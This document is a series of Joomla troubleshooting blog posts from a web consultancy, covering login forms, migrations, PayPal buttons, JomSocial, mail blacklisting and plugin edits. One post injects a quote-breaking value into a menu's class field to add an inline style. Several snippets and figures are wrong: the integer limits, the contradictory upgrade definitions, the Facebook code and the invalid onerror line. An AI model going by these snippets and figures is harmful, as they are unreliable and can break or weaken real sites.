  • They are able to login, but they are not able to see the menu. The cause of this problem (in most cases) is wrong permissions, and it usually happens when the Joomla administrator alters default Joomla’s permissions that have to with viewing access. Fixing the problem can be done by resetting Joomla’s default permissions.

As you can see, we have seen all the Joomla login issues and we have fixed them all – or so we thought!

This time it was different. The Administrator login page was displaying (so it wasn’t blank), but the form was not. Only the sentence:
“Use a valid username and password to gain access to the Administrator Back-end.” along with the standard Joomla “lock” image showed up. Take a look at the below picture to see what we mean:

Joomla admin login without the form

Figure 1: Joomla’s admin login page without the form – in other words the username, the password, and the language fields as well as the submit button do not show up on the login form.

What could be the cause of the above problem, we wondered?

Our first attempt was to check the index.php file located under the administrator folder to see if it was tampered with. It was OK – we then checked the admin.login.php under the administrator/components/com_login and it was also OK. We then started debugging the admin.login.php file, and we noticed that the line: $module = & JModuleHelper::getModule('mod_login'); is being executed properly, but it’s returning an empty string – which means that the module might’ve been disabled. We then printed, using the below code the module information to see if it was disabled or not (we didn’t have phpMyAdmin access to the database):

	jimport( 'joomla.database.database' );
	$db = JFactory::getDBO();
	$query = "SELECT * FROM #__modules WHERE module='mod_login'";
	$db->setQuery($query);
	$arrResult = $db->loadObjectList();
	$objResult = $arrResult[0];
	print_r($objResult);

and we had the following returned:

stdClass Object
(
	[id] => 2
	[title] => Login
	[content] => 
	[ordering] => 1
	[position] => login
	[checked_out] => 0
	[checked_out_time] => 0000-00-00 00:00:00
	[published] => 1
	[module] => mod_login
	[numnews] => 0
	[access] => 0
	[showtitle] => 1
	[params] => 
	[iscore] => 1
	[client_id] => 1
	[control] => 
)

The returned result demonstrates that the mod_login module has not been disabled (since published is set to 1). We then thought, let’s see if the login module actually exists under the administrator/modules folder, and to our surprise, not only the mod_login folder did not exit, the whole modules directory did not exist. Further investigation concluded that the previous designer working on our client’s Joomla website has deleted the whole administrator/modules directory (possibly to block our client from making edits to the website), so we re-uploaded a clean copy of the modules directory (to the right location), and the problem was fixed (although we have later discovered that the designer has also changed our client’s password, so we reset it).

Now, if you’re having the same problem as above (or any other Joomla login problem, for that matter) and you’re not able to solve it yourself, then fear not, we will help! Just contact us and we’ll fix it for you in no time (usually this only takes a few hours). By the way, you needn’t worry about our fees, they are very competitive!

Difference Between a Joomla Upgrade, a Joomla Update, and a Joomla Migration

Many Joomla website owners are often confused between the terms “Joomla Update”, “Joomla Upgrade”, and “Joomla Migration”: some of them think that they are all the same thing, some others think that an update is the same as an upgrade, but both are different form a migration. The absolute majority, however, does know that there is a difference between the three, but just doesn’t know what it is.

Let us explain the difference between all three…

A Joomla upgrade is when you upgrade your Joomla version to a higher version than the one you currently have. For example, let’s say that you have Joomla 1.5.22. Taking your Joomla version to 1.5.25 is an update. An upgrade does not necessarily mean that you take your Joomla version to the latest in your line. (A line means the series of similar Joomla installments, for example, 1.5.20, 1.5.24, 1.5.26 are all Joomla versions in the same line – the latest version in this line, at the time of the publishing of this post, is Joomla 1.5.26)

A Joomla update is when you upgrade your Joomla version to the latest version in your line. For example, if you have Joomla 1.5.20, then upgrading to 1.5.26 is called an update. As you can see, a Joomla update is always an upgrade, but the opposite is not always true.

A Joomla migration is when you move from one line to another. For example, let’s say that your website is powered by Joomla 1.5.23 – moving to Joomla 2.5.4 (latest version in the 2.5.x line) is 5 step process:

  • An upgrade from Joomla 1.5.23 to Joomla 1.5.24
  • An upgrade from Joomla 1.5.24 to Joomla 1.5.25
  • An update to Joomla 1.5.26
  • A migration from 1.5.x to 2.5.x
  • An update from Joomla 2.5.0 to Joomla 2.5.4

As you can see, we have moved from one line of Joomla (1.5.x) to another (2.5.x). Note that a migration does not necessarily mean that we’re moving to a higher line: for example, moving from Joomla 2.5.x to Joomla 1.5.x is also considered to be a migration.

What is the technical difference between Joomla upgrades, updates, and migrations?

Upgrades and updates are technically the same – they consist of just downloading a zip file (which is an upgrade package), extracting it, and then uploading its files to their corresponding places in your Joomla installation.

A migration, on the other hand, its much more complicated and it’s not merely about updating some files in your Joomla core. In a migration, you install a fresh Joomla instance from another line (for example, if you are using version 1.5.26 and you need to migrate to 2.5.0 then you prepare a fresh installation of Joomla 2.5.0), you then export the data from your current Joomla website, and import it using self-developed or 3rd party tools to the other Joomla instance. You will also need to manually convert your template(s) and your 3rd party extensions to make them compatible with that new Joomla instance (if they’re not already). The reason why you need to do all this work is because Joomla versions from other lines have a different data structure (when it comes to the database) and have different formats for installation files (for example, a myplugin.xml for Joomla 2.5.x does not not have the same format as myplugin.xml for Joomla 1.5.x). Additionally, some critical functions/objects either behave differently from one Joomla line to another, or exist in one line but do not exist in another. (global $mainframe is a great example as it exists in Joomla 1.5.x, but it does exist in Joomla 2.5.x as it is replaced by JFactory::getApplication();)1

As you can clearly see, migrations can be very complicated and can potentially take days to finish, depending on the complexity of your website.

How to tell whether what you need is an upgrade/update or a migration?

If you’re moving from 1.0.x to 1.5.x or from 1.5.x to 2.5.x then you’re doing a migration (note that moving from 2.5.x to 1.5.x is also a migration). Moving from 1.0.x to 2.5.x is a double migration (1.0.x to 1.5.x and 1.5.x to 2.5.x), and may involve several upgrades/updates.

Now, if you need help upgrading/updating your Joomla website, or migrating from one Joomla line to another, then all you need to do is to contact us. We’re always available, we’re friendly, and our fees are extremely affordable.

1Note that there are many other differences between Joomla 1.5.x and Joomla 2.5.x, such as changes in in the configuration file and a completely different ACL.

Maximum Number of Articles, Categories, and Users on Joomla

Every once in a while one of our clients asks us if there is a maximum number of articles/categories/users on his Joomla website – and if there’s a maximum, then what is it.

Our answer is that there is a maximum, but there’s no way for that maximum to be reached in a single lifetime. The reason why we say this is that the type of the id of the article/category/user determines their theoretical maximum, which is in the billions. Let us give you more insight…

The id of the article in the jos_content table (jos has been replaced with a random 4 letter string in newer versions of Joomla to prevent hacking) is of type unsigned int(10) (unsigned means that we don’t need to reserve a bit for the + or – sign), a value that can hold 232, which means that you can have 4,294,967,296 – 1, or 4,294,967,295 (over 4 billions articles – we are subtracting -1 to account for the article with the id that equals 0, as the first article in Joomla has an id that equals 1 – the same goes for the categories and the users). Note that if the id field was a signed int, then this means that the maximum number of articles would’ve been 2,147,483,648 – 1 or 2,147,483,647 articles.

The id of the categories in the jos_categories table (same comment about the jos prefix as above) is of type int(11) . This means that the maximum number of categories is 232 (again, there is no need to subtract -1 from 32 as unsigned integers are always positive), which means that you can have up to 4,294,967,296 – 1, or 4,294,967,295 categories. (over 4 billion categories)

The id of the users in the jos_users table is of type int(11), meaning that the maximum number of users in Joomla is 232, or 4,294,967,296 – 1, or 4,294,967,295 users. (over 4 billion users)

In short, Joomla can have a maximum of about 4.3 billion articles, 4.3 billion categories, and 4.3 billion users! Impressive, isn’t it?

Now, let’s assume you’re creating the next Facebook by using Joomla: a website that has the profile of, let’s say, 4 billions persons – can that be achievable in Joomla? Technically, it can – but realistically, it can’t. This is because Joomla doesn’t scale well for even a fraction of that number as Joomla’s core is written with functionality, and not efficiency, in mind. A Joomla website, with a standard core, can possibly handle tens of thousands of users – but if you need more than that then you will need to modify its core.

Now, what if (ahem!) you reach any of the above limits, well – all you need to do is change the type of the id field in the table where you hit the limit from int to unsigned bigint (which means that the limit will be 264 or 18,446,744,073,709,551,616 – 1). You will also need to make the same changes to the type of the fields pointing to that id in the related tables – for example, if you change the type of the id of the user to bigint, then you will also need to change the type of the checked_out, the created_user_id, and then modified_user_id in the jos_content to bigint (note that there are other related fields where you need to make the change, but we’re just giving those as an example).

If you need help overcoming any of Joomla’s limitations, then we can definitely help (we are experts in customizing Joomla!) . Just contact us and rest assured that we’ll do exactly what you want in as little time as possible and for a very reasonable price!

PayPal Button Not Working In Joomla

Nearly every other day we get a request from a customer to “fix PayPal” on his website. Usually the problem is one of the following:

  • The customer adds a PayPal button to his Joomla website, but the PayPal button does not show up on the website.
  • The customer adds a PayPal button to his Joomla website, and the PayPal button shows up, but, when our customer’s customer is redirected to PayPal, he sees the following message “PayPal cannot process this transaction because of a problem with the seller’s website. Please contact the seller directly to resolve this problem.”

Let’s examine and explain how to address each of the above problems.

PayPal Button is not showing up on your Joomla website

Usually the cause of this problem is that the editor that you’re using is stripping away the form elements in the PayPal code, leaving only the following image tag:

<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">

The above problem can be easily fixed by switching the editor to none (by logging to the backend of your Joomla website, and then clicking on Site on the top left, and then clicking on My Profile, and then changing the Editor to Editor – None on the right under Basic Settings), and then adding the PayPal code to the appropriate article or custom HTML module (when you switch the editor to none, then the PayPal code will remain in the content after you hit Save). After you add the button, you can revert back to your preferred editor. Please keep in mind though that everytime you want to make an edit to the article or the custom HTML module containing that PayPal button you have to set your editor to none, or else the PayPal code will be stripped away from your HTML.

But why does the editor strip away the PayPal code?

Usually it’s because the editor wants to protect you from yourself. Having a form (in your content) that submits to another website is questionable from the editor’s point of view, and thus it strips it away. We think that this feature is now obsolete and editors must accommodate form tags.

PayPal button is showing up on your Joomla website, but when users try to click on it, they see an error

Here’s what usually happens: you place the PayPal code in one of your articles/custom HTML modules, the PayPal button appears on the website, you click on it, and then you see this error: “PayPal cannot process this transaction because of a problem with the seller’s website. Please contact the seller directly to resolve this problem.” Not only you think that your code is not working, you think that PayPal, for one reason or another, has banned any sales/transactions from your website (because of the “problem with the seller’s website” part) and now you need to look at an alternative payment method.

We have to admit that the first time we encountered this problem it took us some time to discover the reason behind it – but we did discover it! When PayPal displays this error it means that one or more fields in the PayPal form tag is wrong. In the case of a Joomla website, it’s usually the email field, this is because many Joomla installations nowadays have an enabled content plugin that is called Content – Email Cloaking that obfuscates emails (to prevent spammers from easily collecting emails -we’re saying easily because spammers can still collect those emails from your content – albeit with more effort), including the email in the PayPal form. The problem can be easily fixed by disabling the Content – Email Cloaking plugin. You can do that by logging to the backend and then clicking on Extensions on the top right and then clicking on Plugin Manager, and then entering “Email Cloaking” next to Filter and then clicking on Search, and finally clicking on the green check mark (next to the name of the plugin) to disable this plugin. (see the below image)

Search for Email Cloaking Plugin

Figure 1: Search for Email Cloaking Plugin (notice the green check mark on the bottom right of the image)

Once you disable the above plugin, the email in your PayPal form will no longer be obfuscated/cloaked, and PayPal will work!

If you’re still having problem with placing a PayPal button on your Joomla website, then we’re here to help! Just contact us and we’ll make sure that your Joomla website will have a working PayPal button in no time. Our fees are very reasonable and we are friendly and always happy to serve!

All JomSocial Links Redirect to the Profile Page: How to Fix!

There are several components that are highly complex, and JomSocial is definitely one of them. That’s why when our clients see that they have a problem on it, they don’t bother resolving it themselves, mainly because they know it’s going to be very complicated, and that it may take them days before they can find a solution (or before they completely give up). When they have a problem with JomSocial, they simply call us!

Today was no different. One of our regular customers called us and asked us to fix a problem with JomSocial. The problem was that when the person was logged in to Joomla, all the JomSocial links (including “Friends”, “Groups”, “Photos”, “Videos”, etc…) were redirecting to the profile page. We were able to recreate the problem, but we noticed that the problem disappeared when Joomla’s SEF was disabled, which meant that the problem had to do with the links themselves (again, the links were working and were changing, but they were all redirecting to the profile page – they weren’t returning any 404 errors).

We did a research on the subject and there were many solutions that involved either hacking Joomla’s core or heavily modifying JomSocial code (none of these solutions were confirmed to be working by more than one person, by the way). We suspected that there must be a better way to fix the problem since our client’s website was a Joomla 1.5 website with almost exclusively standard extensions (if there’s a problem with JomSocial on his website, then there must be a problem with JomSocial on every website – which is not the case – which means that the problem lies somewhere with this settings).

We then noticed that our client didn’t have a Menu Item in his main menu pointing to JomSocial – which shouldn’t be the case. In order for SEF to work properly, JomSocial must have a Menu Item in the main menu (the menu that has the default page of the website – or the homepage). So, we created a Menu Item of type “JomSocial -> FrontPage -> Home”. We gave the Menu Item the Special access level and we set its alias to connect. That solved the problem! (The photos link on JomSocial became something like http://[domain name of our client’s Joomla website]/connect/4594-[name of the person]/photos)

However, we were left with a small issue – we didn’t want JomSocial to appear in the Main Menu, so we did a little trick in the settings of the Menu Item. We changed the class of that menu item to the following:

" style="display:none;

The first quote in the above code closes the opening quote for the default class, and the style="display: none; will ensure that the menu item will not be displayed. Notice that there’s no closing quote since the closing quote of the original Menu Item css class will be used to close the style tag. This has worked well! Here’s the end result:

<li class="item1609 root" style="display:none;" >
	<a class="orphan item bullet" href="/connect"  >
		<span>jomsocial</span>
	</a>
</li>

As you can see from the above, our little trick ensured that the list item (li) tag was hidden.

Again, we know that JomSocial can be very intimidating, so if you have the above problem or any JomSocial problem that you need help solving, then we’re here to help. Just contact us and we’ll fix your problem in no time! Oh, and our prices are very competitive and we are very, very friendly!

Is Your Joomla Domain Blacklisted?

This post discusses the issue of domain blacklisting when it comes to email.

We’ve all been there: we send an email to one of our clients, we don’t get a response. We re-send the email, and we still don’t get a response. The same happens when sending an email to another client. At one point, we start thinking that our whole business is in peril, and nobody is interested in our products and/or services anymore.

But, all of a sudden, we receive a bounced email containing the following message:

Your access to this mail system has been rejected due to the sending MTA’s poor reputation

At first, we don’t pay attention, but soon we start receiving several of these emails, and then it strikes us: “Our clients were not receiving our emails because our domain was blacklisted”.

Now, before discussing how that happened and how to fix the problem, let’s dissect the above message:

  • Your access to this mail system is rejected: Your mail server (for example mail.yourjoomlawebsite.com) was not able to “shake hands” with the mail server you’re trying to send the email to. It’s the same as meeting someone, and trying to shake hands with him, but instead of him shaking hands with you, he looks at your hand and shrugs.
  • …due to the MTA’s poor reputation: Now, why did the other server refuse to shake hands with your mail server? It’s because your Mail Transfer Agent (MTA – same as Mail Server), has a poor reputation.

Now that we dissected the message, why does your MTA have a poor reputation?

It could be a number of reasons:

  • You are using your mail server to send unsolicited mass emails: Even if you have good intentions, mass emails are considered spam by most servers. If a mail server notices that you are sending separate emails to many of its users at the same time, it’ll flag your mail server and the administrator of that mail server will report your mail server to be included on a blacklist. Advanced mail servers will do the reporting automatically, without the interference of a mail server administrator.
  • Your website security is compromised and a hacker is sending spam emails from your mail server: This happens quite often for Joomla websites – someone hacks into your Joomla website (if it’s not secure enough) and starts sending spam emails from a script installed on your website. Your server will be usually blacklisted in no time.

  • You website is on a shared hosting: Let’s consider the below scenario…

    • Your website is hosted along with 50 other websites on the same server (sometimes, the number of websites hosted on the same server can be in the hundreds).
    • All these websites use the same mail server. Although your website might be using mail.yourjoomlawebsite.com (which is unique to you) for outgoing SMTP, your mail server is technically the same as that of all the other websites hosted with you on the same server, as it has the same IP. (Quick and important note here: Mail servers are blacklisted by IP)

    • Another user on the same server is abusing the mail server either willingly or unwillingly, by sending spam emails or by hosting an insecure website allowing spammers to exploit vulnerabilities on his website in order to use it to spam people.

    • The above user’s mail server is blacklisted, which means that your mail server is blacklisted as well, as they are the same. (Again, mail server blacklisting is by IP)

How to make sure that your Joomla domain is blacklisted?

First, you need to know what is the IP address of your mail server. You can know it usually by pinging mail.yourjoomlawebsite.com. Once you have that IP, you then go to this website: http://www.mxtoolbox.com/blacklists.aspx, and you enter your IP under Server IP, and then click Blacklist Check. If you see a message (in red) that says We notice you are on a blacklist., then you are definitely on a blacklist.

What to do when your Joomla domain is blacklisted?

The first and only thing that you need to do is to contact your hosting company and tell them about the issue. Ensuring that your mail server is not on a blacklist is their responsibility – not yours! What they will do is that they’ll cleanup the server and then contact the different blacklisting services and ask them to remove the IP of your mail server off their list. If the blacklisting happened because of your website (either because you’re sending unsolicited emails or your website is hacked by a spammer), then your hosting company might warn you about this and might ask you to 1) stop sending unsolicited mass emails and 2) ensure that your Joomla website is secure enough (unlike popular belief, the security of your own website is rarely your hosting company’s responsibility). (If your website is on shared hosting, then we recommend you check this post on Joomla’s ideal hosting environment)

If your Joomla website is blacklisted and you need help to remove it from the blacklist and to secure it then look no further – we are here to help! Just contact us and rest assured that we will fix the problem and make your website ultra secure in no time. By the way, you don’t need to worry about our fees – they are very reasonable. Oh, and we are extremely friendly!

How to Get the Number of Facebook Likes on a Joomla Website?

We were asked to do a very challenging task by one of our clients: He wanted to get the number of Facebook “likes” his website has on every page. Of course, this can be determined by simply placing a Facebook “Like” button on every page (using a simple content plugin), but our client wanted to have a module on his website containing the top 10 “liked” pages on Facebook, so this meant that we needed to get that information programmatically. That job was challenging because we’ve never done it. However, we were confident that we were able to do it.

So, to satisfy our client’s requirements we needed to:

  1. Get the number of Facebook likes he has on each and every page of his Joomla website.
  2. Store the above information in the Joomla database.
  3. Create a module that will list the “Top 10 Liked Pages on Facebook”.
  4. Display the above module on every page.

We will only examine the first step (as the other steps are trivial considering the complexity of the first step) and we will explain, in details, how it can be done.

First thing that you need to know (it took us some time to discover it) is that Facebook has an external interface that allows anyone to get the number of Facebook likes for any page, for example, here’s the one for Google:

http://api.facebook.com/method/fql.query?query=select%20like_count%20from%20link_stat%20where%20url=%27http://www.google.com%27

Copy the above link into your browser’s address bar and you’ll see something like the following:

<?xml version="1.0" encoding="UTF-8"?>
<fql_query_response xmlns="http://api.facebook.com/1.0/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" list="true">
	<link_stat>
		<like_count>796902</like_count>
	</link_stat>
</fql_query_response>

As you can see from the above, the URL returns an XML response containing the number of likes that the page www.google.com received. At the time of writing this post, www.google.com had 796,902 likes (that number is very low considering the amount of traffic Google has, but it might be because Google doesn’t have a Facebook Like button on its homepage – we are confident that the number is accurate because we did many tests with many other websites and all the tests returned accurate results).

Now, let’s try to do the same with www.facebook.com. Copy the below URL into your address bar:

http://api.facebook.com/method/fql.query?query=select%20like_count%20from%20link_stat%20where%20url=%27http//www.facebook.com%27

…and you will get the below XML response:

<?xml version="1.0" encoding="UTF-8"?>
<fql_query_response xmlns="http://api.facebook.com/1.0/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" list="true">
	<link_stat>
		<like_count>2292310</like_count>
	</link_stat>
</fql_query_response>

We know from the above that www.facebook.com has 2,292,310 likes. Now, pay attention that this number doesn’t mean that the total likes for all the pages on Facebook is just over 2 million, it means that the homepage, and just the homepage, has this amount of likes.

By now you’ve probably guessed it, in order to the number of likes of a certain page, you only have to call the following URL from the code and parse its XML response:

http://api.facebook.com/method/fql.query?query=select%20like_count%20from%20link_stat%20where%20url=%27{page-url}%27

Where {page-url} can be any page on your website!

So, in order to gather the number of Facebook Likes for every page on our customer’s Joomla website, we created a system plugin, called “Count Facebook Likes”, and we made sure that the plugin ran on every page. That plugin did the following:

  • Invoked the above API with the current page using curl. Here’s the code to do so:

    $current_page_url =  "http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
    $fb_count_like_url = "http://api.facebook.com/method/fql.query?query=select%20like_count%20from%20link_stat%20where%20url=%27".$fb_count_like_url."%27";
    $fb_count_like_call = curl_init($fb_count_like_url);
    curl_setopt($fb_count_like_call,CURLOPT_RETURNTRANSFER,true);
    $fb_count_like_response = curl_exec($fb_count_like_call);

  • Got the number of Facebook likes for the current page by parsing the XML response from the previous step. (The XML response is stored in $fb_count_like_response)

  • Stored the number of Facebook likes and the page information in a table called jos_facebook_page_count_likes in the Joomla database.

Now that we have all this information stored, we were able to get the top 10 liked pages by issuing the following SQL query:

SELECT * FROM `jos_facebook_page_count_likes` ORDER BY number_of_facebook_likes DESC LIMIT 0, 10;

The above query was used in the module to list all the pages (of course, you might need to modify the above query to ensure that the pages returned are still published on your website).

If you want to develop a similar functionality on your website but think that it’s a bit complicated then just contact us and you can rest assured that we’ll do it for you in no time. Our fees are affordable and we are fast, efficient, and very friendly.

Note: We have noticed that the number of likes on Facebook expires. So, if someone liked a page on your website a year ago or so, his like won’t be counted in the end result.

How to Revert Back to a Previous Version of Joomla?

Sometimes you decide to upgrade your version of Joomla, and then after the upgrade is done, your website becomes completely unusable or some of its features become broken. Why does that happen, and how to revert back to a previous version of Joomla to undo the upgrade.

Why a Joomla upgrade might break your website

There are several reasons that are behind this, and they mainly are:

  • You have modified the core of your Joomla website: Many website owners modify the core of their Joomla website (or have it modified) in order to add some custom functionality. While this can be necessary, it should be avoided when possible. Only modify the core of your Joomla website when there is no other alternative. Note that in most cases there is an alternative! 99% of the very complicated work that we get on Joomla can be done using extensions. We rarely find a need to modify the core. And, in the very rare cases where we do, we try our best to make our changes compatible with future upgrades.
  • You have installed an extension that is not compatible with your current version of Joomla: When you do an upgrade, sometimes a 3rd party extensions can be incompatible with your current version of Joomla, and if this extension is a System plugin that runs on every page, then most likely your page will either show a blank page or will display a fatal error (at best your page will display a warning).

  • You have uploaded the files to the wrong place: A Joomla upgrade usually consists of uploading specific files to specific directories. Sometimes the upgrade can consist of just uploading a couple of files to a couple of directory. What if, for example, you need (as part of the upgrade) to upload index.php to the administrator directory, and instead of uploading that file to the administrator directory, you uploaded it to the root directory of your website. Not a single page on your website will work (the index.php file that is located directly in the root directory of your website is used on every page on the frontend of your Joomla website).

  • You haven’t finished uploading the files, but you thought you did: As stated above, a Joomla upgrade consists of uploading several files. What if the upgrade consisted of uploading 5 files and you uploaded only 4, and what if the file that you missed is used by those other files? At worst, all of your website will stop working and at best, some of your functionality on your website will be broken.

How to revert back to a previous version of Joomla

Once you notice that the upgrade has broken your website, you slap your forehead with your right hand (or left hand, if you’re left handed or ambidextrous), and you whisper “What have I done?”. You start panicking and the first thing on your mind usually is “how can I revert this upgrade?”. Well, the easiest way to revert back to a previous version of Joomla is to just go back to a previous filesystem backup. But even that can be tricky, especially if the upgrade has modified both your file system and your database. So, if you do have backups, then it’s always better, when reverting to a previous filesystem backup, to revert back to a database backup that was generated the same day the filesystem backup (that you’re using) was generated.

But, what if you don’t have any backups?

This is when this can quickly become very challenging. When you uploaded the files, you have erased the previous versions of the files. So, the first thing that you should do is the download the previous Joomla version (the one that you had before the upgrade), and then replace the files that you have already uploaded with the files from this (previous) Joomla version. Once you do that, two things might happen:

  1. Your website will return to its previous working state. (congratulations)
  2. Your website will show different errors. In this case, it’s because the database was updated using that upgrade. You will need to contact Joomla experts at this point because it’ll be really hard to fix these errors without a backup (and you will need programming and MySQL skills to fix them).

So far, we have talked about reverting back to a previous version of Joomla if it’s an upgrade, but what it’s a migration? In this case, there is no other way but to revert to a previous backup (a migration is a destructive process as it consists of recreating the site from scratch), and if you don’t have any previous backup, you will need to contact a Joomla company, such as itoctopus, in order to revert your Joomla website back to an earlier date. We, at itoctopus, are very experienced in Joomla and we are also extremely nice people to work with. Just contact us and we’ll take it from there (don’t worry about our fees – they are really, really reasonable).

Addendum: Some best practices when upgrading your Joomla website or migrating your Joomla website to another version

Here are some best practices when upgrading or migrating to another Joomla version:

  • Backup your database and your filesystem just before doing the upgrade or the migration.
  • Create a copy of your database (using phpMyAdmin) and create a copy of your actual website under an previous directory (so, in other words, you should upload all the files for your website to that previous directory, which should be located directly under the root directory). Change the configuration.php file in your directory to point to the copy of the database (not the original database).

  • Avoid using Akeeba backup. Akeeba backup is one extension that you will only know it’s useless when it’s too late. This is because in order for Akeeba Backup to work, your website must be functional (which defies the whole point). In many cases, people revert back to previous versions of their websites when their websites no longer work.
  • If you have problems with your upgrade/migration, then reverting back simply consists of doing a simple redirect in your .htaccess file to yourjoomlawebsite.com/previous, and that’s it! So, in case you have problems, you need to add the following lines to your .htaccess file:

    rewritecond %{http_host} ^yourjoomlawebsite.com [nc]
    rewriterule ^(.*)$ http://www.yourjoomlawebsite.com/previous/$1 [r=307,nc]

    Once you add the above lines to your .htaccess file, upload it to your website, and your website will now work!

  • Although the website is working, it’s working out of the previous directory. We want to make it work out of the root directory, so here’s why you need to do:

    • Delete the original database, and then re-create the original database from the backup.
    • Delete all the directories in your website’s filesystem (with the exception of the previous directory, of course), and then re-upload them from the backup.
    • Roll back the changes you did on the .htaccess file and then upload it back.
    • Your website should now work!
    • Delete the previous directory, you don’t need it anymore.
    • That’s it!

How to Disable JavaScript IE Warnings/Errors for a Joomla Website?

Your Joomla website works perfectly on Firefox and Chrome – yet, for some reason, your website has at least one JavaScript warning on IE, which makes your website sound as if it’s unprofessional and/or insecure. This will most likely lower your conversions on your website.

The reason of having a JavaScript error on Internet Explorer, and not on the others browsers (such as Firefox or Chrome), is because IE often violates some JavaScript standards and does not respect some general (but not formal) guidelines in its JavaScript parser. So, a code that is 100% JavaScript compliant might not work on IE, and a JS code that works on other browsers may also not work on IE. In many cases, that JavaScript code causing the problem is not important to run or is irrelevant in an IE browser. So, what can the person do, besides fixing the actual JS code (which tends to be very complicated especially if the person is not a programmer), to suppress the warnings on IE?

Surprisingly, doing so is a very simple task, all you need to do is to add the following code to your index.php file, which is located under the root directory of your Joomla website:

<script language="JavaScript">
	function supressError(){
		return true;
	}
	window.onerror = return supressError();
</script>

As you can see, it’s a very simple process, and it can save you hours and hours of work to solve an annoying and unimportant JavaScript problem.

In case you need any help doing the above, then just contact us. We’ll do it for you at a lighting speed and we’ll charge you a very reasonable fee.

Could Not Find an XML Setup File in the Package Error When Installing a Joomla Extension

If you haven’t seen the error “Could Not Find an XML Setup File in the Package” when working on your Joomla website then most likely you have only used the basic features of Joomla (which means that you have not taken advantage of Joomla’s extensive extensions’ library), this is because this error exclusively shows up when you are trying to install an extension (a plugin, a module, a component) or a template.

Why does this error happen?

The installation file of any extension or a template (by the way, technically a template is also an extension, but we’re counting it again to avoid confusion) is a zip file that contains an XML setup file. That XML file defines the structure or the skeleton of the extension: it will tell Joomla what the extension does, which files should be installed with this extension, what are the settings of the extension, and for which Joomla version is the extension written. The name of the XML file must match the name of the zip file/extension (without the .xml part of course). If the XML file does not exist, then you will get the famous (and sometimes dreaded) “Could Not Find an XML Setup File in the Package” error.

How does this error happen?

There are several reasons for this error to happen:

  • You are uploading a corrupted extension. To solve this problem you need to either find a non-corrupted version of that extension or use a similar extension instead.
  • The name of the XML setup file does not match the name of the zip file/extension. To solve this problem you need to extract the extension, rename the XML file, re-zip the files, and then try to upload the extension again.

  • You are uploading a zip file that consists of several extensions, and these extensions should be uploaded individually (most common case). To solve this problem extract the main zip file and then try to upload the extracted zip files individually. (for example, main.zip will be extracted to extension1.zip, extension2.zip, extension3.zip, etc…)

  • The structure of the zip file you are uploading is wrong. For example, the zip file may contain a directory and then the extension files, which is wrong, as the zip file should contain the extension files directly without them being encapsulated in a directory. To solve this problem extract the zip file and zip the extension files directly, without first putting them in a directory.

We understand that the above can be a bit technical, and that’s why we’re here to help. Just contact us and we’ll fix this problem for you (or any other Joomla problem, for that matter) in no time and at a very reasonable price.

RSForm and Conflicts with Paypal IPN

We have lately developed a solution for one of our clients, whereby if one customer purchases anything from his (our client’s) Joomla website using PayPal, a new Joomla account for that person is automatically created based on the person’s name and email address entered in PayPal. Additionally, the person receives a notification email (to his PayPal email address) containing his username and password to our client’s website. If the person already exists in the jos_users table, then what we do is just re-send a reminder email including the person’s credentials. We have accomplished this task by creating the user creation and email sending script inside a file called paypal.php, and by setting PayPal’s IPN (Instant Payment Notification) listener (in our client’s PayPal account) to that file. By doing the latter, every payment that is made towards our client’s account will automatically call the paypal.php file. (Check this link on PayPal if you want to know how to set the PayPal IPN).

Everything worked like a charm, but, after a while, our client came back to us and told us that some of the payments were not creating new users. Strange, we thought. We re-tested the script and everything seemed OK. We called back our client, and then he gave us the link of the page where the payments were not creating new users. It was a page containing an RSForm that had PayPal integration. We made a test payment there and to our surprise, the paypal.php file was not called.

The first thing we checked was if the payments were going to the same account, we checked this by logging in to his Joomla website’s backend, and then by going to Components->RSForm Pro! and then by clicking on Configuration in the tabbed menu, and then by clicking on PayPal in the sub-menu. The email was different (which meant it was a different account), so we informed the client, and so the client also updated the IPN listener for that PayPal account to paypal.php. We thought that the problem would be immediately solved. We were wrong. Our paypal.php was still not being notified. We then thought that since the other account is proven to be working, then why not change the email account for PayPal in RSForms to the email of the other (proven to be working) account. So we did that, and we tried a different payment, but still, no user was created (because the paypal.php was not called).

We then pondered, what if the RSForm component was overriding the PayPal notification URL (IPN). So we did a research, and then we discovered that there’s a System plugin, called, rsfppaypal.php, that invokes PayPal for any RSForm transaction, and that overrides the default PayPal IPN. Here’s the code that does that (it was located in line 439 of that file):

$link = $paypal_link . '?cmd=_xclick&business=' . urlencode(RSFormProHelper::getConfig('paypal.email')) . '&item_name=' . $products . '¤cy_code=' . urlencode(RSFormProHelper::getConfig('paypal.currency')). '&amount=' . $price . '&return_url='.urlencode(JURI::root().'index.php?option=com_rsform&formId='.$args['formId'].'&task=plugin&plugin_task=paypal.return&code='.$code).'¬ify_url='.urlencode(JURI::root().'index.php?option=com_rsform&formId='.$args['formId'].'&task=plugin&plugin_task=paypal.notify&code='.$code).'&return='.urlencode(RSFormProHelper::getConfig('paypal.return')).'&charset=utf-8'.$cancel_link.$language.$tax_code;

Take a look at this part from the above code:

notify_url='.urlencode(JURI::root().'index.php?option=com_rsform&formId='.$args['formId'].'&task=plugin&plugin_task=paypal.notify&code='.$code)

The above code is telling PayPal to use a component-set IPN instead of the default one. If you take a closer look, you’ll see that the above code is telling PayPal to notify a certain task, which is paypal.notify inside the rsfppaypal.php plugin. We searched for this task (inside the same System plugin) and here’s the code that we found:

			case 'paypal.notify':
				$this->rsfp_f_paypalNotify();
				exit();
			break;

As you can see, the paypal.notify case above handles all PayPal payments by invoking the $this->rsfp_f_paypalNotify(), so, in order to invoke our paypal.php file, we modified the above code to:

			case 'paypal.notify':
				$this->rsfp_f_paypalNotify();
				if ($_POST['payment_status'] == 'Completed')
					require_once('/path_to_file/paypal.php');
				exit();
			break;

And the problem was fixed! Our standard IPN file is now working even on RSForms, new users are being created, and notification emails are being sent!

We understand that the above might be a bit complicated, especially for those with no programming background, and that’s why we’re here to help. Just contact us if you want us to do the above for you and we’ll do it in record time and at a very competitive price!

How to Remove www from Your Joomla Website URLs

For one reason or the other, you might decide to remove the www part from the URLs of your Joomla website. It might be that you have a short domain and you may want to emphasize the shortness of the domain even more, or it might be that you just don’t like seeing www in your URLs. Some people mistakenly think that removing (or having) www will favorably affect their SEO standings – this is a myth. However, having consistent and non-redundant URLs by removing (or adding) www from all your URLs will certainly help your SEO. This is because of 2 things:

